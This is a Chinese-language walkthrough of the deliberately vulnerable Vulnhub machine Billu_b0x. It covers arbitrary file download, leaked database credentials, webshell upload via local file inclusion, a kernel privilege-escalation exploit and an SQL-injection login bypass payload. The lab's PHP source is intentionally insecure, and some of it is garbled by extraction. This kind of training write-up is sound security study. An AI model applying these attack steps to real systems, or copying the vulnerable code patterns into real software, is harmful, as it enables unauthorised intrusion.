目录
Vulnhub 学习记录
Billu_b0x
0x00 靶机信息
下载链接:
https://download.vulnhub.com/billu/Billu_b0x.zip
0x01 初看
根据题目提示,该处存在sql注入漏洞。 但是经过测试,发现登录处始终无法注入。
0x02 信息收集 -- 扫目录
使用DirBrute 扫描目录:
使用 kali Dirb 工具爆破目录
总共得到的目录文件信息:
得到以上文件,依次访问,得到这些页面的信息
add -> 文件上传 c -> 空白页 images -> 目录 in -> phpinfo index -> 首页 show -> 首页 test -> 提示需要file 参数 uploaded_images -> 上传的图片 phpmy -> phpmyadmin
0x03 任意文件下载
访问 test.php
或 test
文件
对/test
页面测试发现需要通过POST请求提交参数 file
, 存在文件包含(下载)漏洞。
因此可以下载网站源码,分别如下:
index.php
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let's login">';
}
if(isset($_POST['login']))
{
$uname=str_replace(''','',urldecode($_POST['un']));
$pass=str_replace(''','',urldecode($_POST['ps']));
$run='select * from auth where pass=''.$pass.'' and uname=''.$uname.''';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face="comic sans ms" style="left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header('Server:testing only');
header('X-Powered-By:testing only');
ini_set('session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno()) {
Selectecho "connection failed -> " . mysqli_connect_error();
}
?>
show.php
<?php
include('c.php');
if(isset($_POST['continue']))
{
$run='select * from users ';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>";
while($row = mysqli_fetch_assoc($result))
{
echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>';
}
echo "</table>";
}
}
?>
add.php
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
?>
panel.php
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image/jpeg/',$filetype ) preg_match('/image/png/',$filetype ) preg_match('/image/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(''.$name.'',''.$address.'',''.$iname.'', ''.$id.'')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
0x04 配置信息泄露
在 c.php
中发现mysql用户名密码 以及库名。 但是3306端口并没有开放,所以无法直接连接。该种情况想要连接,有:
- 使用ssh进入服务器,本地连接数据库
- 该靶机存在phpmyadmin之类的mysql管理工具,并暴露出来。
在这里 第一种情况显然不可能。因此就可以用上面发现的 phpmyadmin登入数据库.
使用上面的mysql 用户名密码登录成功。
进入数据库,可查看web应用的用户名和密码,并且是明文保存
0x05 代码审计 文件上传 getshell
登录后看到有文件上传的接口,上传的文件保存在 uploaded_images
中,说明web用户对该目录具有可写权限。
审计 panel.php
代码可知,由于白名单的限制,我们无法直接上传.php后缀的 webshell,因此考虑构造上传图片马。
该处 $_POST['load']
并未经过处理直接传入了include
函数。因此存在本地文件包含漏洞.
构造图片马 上传,并通过文件包含执行:
写入webshell 并连接。
0x06 Linux内核提权
首先查看 内核版本 uname -a
通过搜索得知该版本linux内核存在提权漏洞 (CVE 2015-1328) 参考: https://www.exploit-db.com/exploits/37292
将exp上传至服务器的 /tmp
目录:
gcc exp.c -o exp
编译并执行, 成功提权:
0x07 其他思路
在上面的整个流程中,并没有用到题目给的信息 :
Show me your SQLI skills
因此考虑该处是否可以绕过过滤进行sql注入。 看 登录逻辑处的代码
$uname=str_replace(''','',urldecode($_POST['un']));
$pass=str_replace(''','',urldecode($_POST['ps']));
$run='select * from auth where pass=''.$pass.'' and uname=''.$uname.''';
$result = mysqli_query($conn, $run);
该段代码将 单引号过滤为空后,拼接进sql语句字符串,因此可以考虑使用'
,在将'
替换为空后,将留下 ,同时 ,
在sql中是作为转义符,因此可以通过转义一个自带的单引号,来进行sql注入.
构造payload: 'or 1=1 -- '
或者可以直接构造 : or 1=1 --
构造后带入语句如下:
select * from auth where pass='$pass' and uname='$uname'
select * from auth where pass='or 1=1 -- ' and uname='or 1=1 -- '
成功注入并登录。